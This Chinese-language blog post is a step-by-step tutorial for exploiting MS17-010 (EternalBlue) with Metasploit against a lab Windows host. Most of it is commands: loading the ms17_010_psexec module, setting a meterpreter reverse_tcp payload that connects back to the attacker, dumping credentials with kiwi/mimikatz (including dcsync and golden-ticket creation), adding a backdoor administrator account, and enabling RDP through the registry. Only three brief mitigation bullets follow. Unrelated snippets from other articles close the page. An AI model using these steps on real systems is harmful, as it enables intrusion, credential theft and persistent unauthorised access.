草庐IT

MS17-010永恒之蓝漏洞利用

ʚɞ无恙 2023-03-28 原文

MS17-010永恒之蓝漏洞利用

原理

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。SMB服务在Windows与UNIX系列OS之间搭起一座桥梁，让两者的资源可互通有无。漏洞原理的深入研究，请参考：(https://blog.csdn.net/luoshenwei3533/article/details/82931999)

实验前准备

攻击ip：192.168.200.130
被攻击ip：192.168.200.101  开启了445端口（默认是开启的）,未打漏洞补丁，关闭防火墙
二者能够相互ping通

步骤

1、启动MSF

msfconsole

2、ms17_010模块使用过程

search ms17_010                              查找相应的漏洞模块
​
use exploit/windows/smb/ms17_010_psexec      加载模块
​
set RHOSTS 192.168.200.101                   设置攻击目标
​
check                                        进行检测，确认是否存在ms17_010漏洞
​
set payload windows/meterpreter/reverse_tcp  加载payload
​
set LHOST 192.168.200.130                    设置本地IP
​
show options                                 查看模块相关参数
​
run                                          攻击

（1）查找相应的漏洞模块

 （2）加载模块并设置目标

我们这里使用第1个，即”exploit/windows/smb/ms17_010_psexec“模块，并设置RHOSTS为被攻击IP

 

使用check命令检测一下是否存在ms17_010漏洞。检测时，会自动加载auxiliary/scanner/smb/smb_ms17_010模块，可以看到，被攻击目标是存在这个漏洞的。

 （3）加载payload

这里使用windows/meterpreter/reverse_tcp作为攻击payload。

 

攻击前，再用show options命令检查一下设置是否正确。

 

(4)攻击

3、漏洞利用

(1) 查看系统信息 sysinfo

 

(2) 查看当前用户的权限 getuid

 

(3))获取目标系统权限 shell

 

(4)获取目标主机用户以及密码，需要使用system权限，如果是在administrator下，直接使用 getsystem 即可

load kiwi  加载kiwi模块
help kiwi  查看kiwi模块帮助

 

creds_all 查看用户，密码，密码对应hash值等

 

kiwi具体命令

load kiwi
​
creds_all：列举所有凭据
creds_kerberos：列举所有kerberos凭据
creds_msv：列举所有msv凭据
creds_ssp：列举所有ssp凭据
creds_tspkg：列举所有tspkg凭据
creds_wdigest：列举所有wdigest凭据
dcsync：通过DCSync检索用户帐户信息
dcsync_ntlm：通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create：创建黄金票据
kerberos_ticket_list：列举kerberos票据
kerberos_ticket_purge：清除kerberos票据
kerberos_ticket_use：使用kerberos票据
kiwi_cmd：执行mimikatz的命令，后面接mimikatz.exe的命令
lsa_dump_sam：dump出lsa的SAM
lsa_dump_secrets：dump出lsa的密文
password_change：修改密码
wifi_list：列出当前用户的wifi配置文件
wifi_list_shared：列出共享wifi配置文件/编码

(5)开启目标远程

开启目标远程，并创建一个test帐户

>>方法一

meterpreter > run post/windows/manage/enable_rdp username="test" password="123456"

  验证

>>方法二

shell　　　　
net user lfn 123456 /add                      创建用户
net localgroup administrators lfn /add    添加管理员权限

>>ps如果目标机器没有开启远程桌面服务，使用注册表进行打开

C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

使用刚才创建的用户和密码进行远程，进行远程控制。

rdesktop 192.168.200.101 -u test -p 123456

防护措施

  • 关闭445等高危端口

  • 配置防火墙，安装防护软件

  • 安装补丁

010MSspanclassmd-end-block网络安全

有关MS17-010永恒之蓝漏洞利用的更多相关文章

  1. Tomcat AJP 文件包含漏洞（CVE-2020-1938） - 2

    目录1．漏洞简介2、AJP13协议介绍Tomcat主要有两大功能：3．Tomcat远程文件包含漏洞分析4．漏洞复现 5、漏洞分析6．RCE实现的原理1．漏洞简介2020年2月20日，公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞（CVE-2020-1938）。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞，攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞，依赖于Tomcat的AJP（定向包协议）。AJP自身存在一定缺陷，导致存在可控

  2. 什么是0day漏洞？如何预防0day攻击？ - 2

    什么是0day漏洞？0day漏洞，是指已经被发现，但是还未被公开，同时官方还没有相关补丁的漏洞；通俗的讲，就是除了黑客，没人知道他的存在，其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day，正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高，往往可以达到目的并全身而退，而防守方却一无所知，只有在漏洞公布之后，才后知后觉，却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照！为了方便大家理解，中科三方为大家梳理当前安全防护模式下，一个漏洞从发现到解决的三个时间节点：T0：此时漏洞即0day漏洞，是已经被发现，还未被公开，官方还没有相

  3. ruby - 无法激活 susy-2.1.1，因为 sass-3.2.17 与 sass 冲突 (~> 3.3.0) - 2

    我已经安装了最新版本的compass、sass和susy。但我仍然收到此错误:Unabletoactivatesusy-2.1.1,becausesass-3.2.17conflictswithsass(~>3.3.0)有人知道这个Ruby是如何工作的吗？这是我安装的gem的列表:***LOCALGEMS***CFPropertyList(2.2.0)chunky_png(1.3.0)compass(0.12.4)compass-core(1.0.0.alpha.19)compass-import-once(1.0.4)compass-rails(1.1.3)fssm(0.2.10)l

  4. iOS快捷指令：执行Python脚本（利用iSH Shell） - 2

    文章目录前言核心逻辑配置iSH安装Python创建Python脚本配置启动文件测试效果快捷指令前言iOS快捷指令所能做的操作极为有限。假如快捷指令能运行Python程序，那么可操作空间就瞬间变大了。iSH是一款免费的iOS软件，它模拟了一个类似Linux的命令行解释器。我们将在iSH中运行Python程序，然后在快捷指令中获取Python程序的输出。核心逻辑我们用一个“获取当前日期”的Python程序作为演示（其实快捷指令中本身存在“获取当前日期”的操作，因而此需求可以不用Python，这里仅仅为了演示方便），核心代码如下。>>>importtime>>>time.strftime('%Y-%

  5. ruby - Sidekiq 可以利用多个 CPU 内核吗？ - 2

    我是Sidekiq的新手，将它与AmazonEC2实例上的Ruby结合使用，以使用ImageMagick处理图像来完成一些工作。在运行它时，我意识到每个工作人员都在同一个核心上运行。我使用EC2c3.2xlarge机器，它们有8个内核。它显示CPU使用率为15%，但一个内核使用了100%，而其他内核使用了0%。Sidekiq可以为不同的worker使用不同的CPU内核吗？如果可以，这种低效率是由ImageMagic造成的吗？我怎样才能让它使用其他内核？ 最佳答案 如果您想使用MRI使用多个内核，则需要启动多个Sidekiq进程；为您

  6. ruby - 无法通过 SMTP 使 ActionMailer 与 MS Exchange 一起工作 - 2

    这是我的简单测试程序(使用ActionMailer3.0.8，Ruby1.9.2p180MacOSX):require'rubygems'require'action_mailer'ActionMailer::Base.delivery_method=:smtpActionMailer::Base.smtp_settings={:address=>"my_exchange_server",:port=>25,:domain=>'my_domain.org',:authentication=>:login,:user_name=>'my_user',:password=>'my_pass

  7. PLUS模型和InVEST模型生态系统服务多情景模拟预测、ArcGIS空间数据处理、空间分析与制图、土地利用时空变化 - 2

    查看原文>>>基于”PLUS模型+“生态系统服务多情景模拟预测实践技术应用目录第一章、理论基础与软件讲解第二章、数据获取与制备第三章、土地利用格局模拟第四章、生态系统服务评估第五章、时空变化及驱动机制分析第六章、论文撰写技巧及案例分析基于ArcGISPro、Python、USLE、INVEST模型等多技术融合的生态系统服务构建生态安全格局基于生态系统服务（InVEST模型）的人类活动、重大工程生态成效评估、论文写作等具体应用基于ArcGISPro、R、INVEST等多技术融合下生态系统服务权衡与协同动态分析实践应用    本文从数据、方法、实践三方面对生态系统服务多情景预测进行讲解。内容涵盖多

  8. ruby - Fedora 17 上的 Heroku Toolbelt - 2

    我正在尝试执行教程的heroku设置部分http://ruby.railstutorial.org/.但是在https://toolbelt.heroku.com/，我注意到Fedora没有.rpm，所以我尝试分别安装Foreman和HerokuCLI。Foreman和Git安装正常，但我在使用HerokuCLI时遇到问题。当我尝试做的时候:$yuminstallrubygem-heroku然后简单地做$heroku我得到错误:/usr/share/rubygems/rubygems/dependency.rb:247:in`to_specs':Couldnotfindheroku(>

  9. ruby - $SAFE >= 1 的 ruby​​ 中可能存在哪些漏洞？ - 2

    Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同，0表示禁用，然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞？您知道在启用安全模式时发给ruby​​程序的任何CVE编号吗？什么CWEViolations(或cwe系列)是否可以启用安全模式？ 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击，例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别，可能除了本地和远程文件包含。查看OWASPTop1

  10. ruby-on-rails - 如何在 Ruby 中将 MS Excel 日期从 float 转换为日期格式？ - 2

    尝试在ruby​​脚本中使用roogem解析XLSX文件。在Excel中，日期以DDDDD.ttttt格式存储为float或整数，从1900-01-00(00no01)开始计算。因此，为了转换诸如40396之类的日期-您将使用1900-01-00+40396，您应该得到2010-10-15，但我得到的是2010-08-08。我正在使用active_support/time进行这样的计算:Time.new("1900-01-01")+40396.days我的计算有误还是主动支持有问题？我在Windows7+最新的active_supportgem(3.2.1)上运行ruby​​1.9.3

随机推荐